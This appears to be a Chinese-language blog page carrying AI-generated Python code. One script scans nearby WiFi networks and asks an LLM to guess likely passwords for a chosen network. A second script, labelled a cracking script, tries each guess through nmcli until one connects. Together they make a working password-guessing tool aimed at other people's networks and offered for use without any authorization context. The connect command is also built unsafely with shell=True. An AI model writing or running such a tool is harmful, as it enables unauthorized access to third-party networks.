WiFi密码生成脚本 | AI生成和翻译

Home 2025.10

#!/usr/bin/env python3
"""
WiFi密码生成脚本
扫描WiFi网络,让用户选择一个,使用LLM生成建议密码,并保存到@tmp目录。
此脚本需要联网访问LLM。使用单独的离线脚本来尝试使用保存的密码进行连接。
"""

import os
import sys
from get_wifi_list import get_wifi_list
from openrouter_client import call_openrouter_api

# 确保@tmp目录存在
TMP_DIR = '@tmp'
os.makedirs(TMP_DIR, exist_ok=True)

def parse_wifi_list(wifi_output):
    """
    解析get_wifi_list的输出以提取SSID和详细信息。
    返回包含'index'、'ssid'、'full_line'的字典列表。
    """
    networks = []
    lines = wifi_output.split('\n')
    current_ssid = None
    for i, line in enumerate(lines):
        if line.startswith('SSID: '):
            # 从行中提取SSID
            ssid_part = line.split('SSID: ')[1].split(',')[0].strip()
            current_ssid = ssid_part
            networks.append({
                'index': len(networks) + 1,
                'ssid': current_ssid,
                'full_line': line
            })
        elif current_ssid and line.strip().startswith('  '):
            # 如果是子行,将附加信息追加到最后一个网络
            networks[-1]['full_line'] += '\n' + line
    return networks

def generate_password_suggestions(ssid, num_suggestions=10, model="deepseek-v3.2"):
    """
    使用OpenRouter LLM为给定的SSID生成建议密码。
    """
    prompt = f"为名为'{ssid}'的WiFi网络建议{num_suggestions}个可能的密码。根据常见模式、名称或默认设置使它们合理可信。按编号列出,每行一个,无需解释。"
    try:
        response = call_openrouter_api(prompt, model=model)
        # 清理响应以仅提取列表
        lines = [line.strip() for line in response.split('\n') if line.strip() and line[0].isdigit()]
        passwords = [line.split('.', 1)[1].strip() if '.' in line else line for line in lines[:num_suggestions]]
        return passwords
    except Exception as e:
        print(f"生成密码时出错: {e}")
        return []

def save_passwords_to_file(ssid, passwords):
    """
    将密码列表保存到@tmp目录中的文件。
    """
    filename = os.path.join(TMP_DIR, f"{ssid.replace(' ', '_')}_passwords.txt")
    with open(filename, 'w') as f:
        for pwd in passwords:
            f.write(f"{pwd}\n")
    print(f"密码已保存到: {filename}")
    return filename

def main():
    print("=== WiFi密码生成器 ===")
    print()

    # 获取WiFi列表
    print("正在扫描可用的WiFi网络...")
    wifi_output = get_wifi_list()
    print("可用的WiFi网络:")
    if wifi_output.startswith("No WiFi"):
        print(f"  {wifi_output}")
        sys.exit(1)

    # 解析并显示编号列表
    networks = parse_wifi_list(wifi_output)
    if not networks:
        print("未找到网络。")
        sys.exit(1)

    for net in networks:
        print(f"{net['index']}. {net['full_line']}")

    # 用户输入
    try:
        choice = int(input(f"\n选择网络 (1-{len(networks)}): "))
        if 1 <= choice <= len(networks):
            selected = networks[choice - 1]
            ssid = selected['ssid']
            print(f"\n已选择: {ssid}")
        else:
            print("无效选择。")
            sys.exit(1)
    except ValueError:
        print("无效输入。")
        sys.exit(1)

    # 生成密码
    print(f"\n正在为'{ssid}'生成{10}个密码建议...")
    passwords = generate_password_suggestions(ssid)

    if passwords:
        print("建议密码:")
        for i, pwd in enumerate(passwords, 1):
            print(f"{i}. {pwd}")
        # 保存到文件
        save_passwords_to_file(ssid, passwords)
    else:
        print("生成密码失败。")

    print("\n使用单独的离线脚本来读取此文件并尝试连接。")

if __name__ == "__main__":
    main()

对于离线破解脚本(例如offline_hack_wifi.py),您可以单独创建它来从@tmp/{ssid}_passwords.txt读取密码,并使用nmcliwpa_supplicant等工具尝试连接。以下是一个基本框架:

#!/usr/bin/env python3
"""
离线WiFi破解脚本
读取保存的密码并尝试离线连接到选定的WiFi。
"""

import os
import subprocess
import sys

TMP_DIR = '@tmp'

def attempt_connect(ssid, password):
    """
    尝试使用nmcli(或备用方法)连接到WiFi。
    """
    cmd = f"nmcli device wifi connect '{ssid}' password '{password}'"
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            print(f"密码成功: {password}")
            return True
        else:
            print(f"密码失败: {password}")
            return False
    except Exception as e:
        print(f"尝试连接时出错: {e}")
        return False

def main():
    ssid_file = input("输入SSID或@tmp中的完整文件名(例如:MyWiFi_passwords.txt): ").strip()
    filepath = os.path.join(TMP_DIR, ssid_file)
    
    if not os.path.exists(filepath):
        print("文件未找到。")
        sys.exit(1)
    
    ssid = ssid_file.replace('_passwords.txt', '').replace('_', ' ')
    print(f"正在尝试连接到'{ssid}'...")
    
    with open(filepath, 'r') as f:
        passwords = [line.strip() for line in f if line.strip()]
    
    for pwd in passwords:
        if attempt_connect(ssid, pwd):
            break
    else:
        print("所有密码均失败。")

if __name__ == "__main__":
    main()

Back

x-ai/grok-4-fast

Donate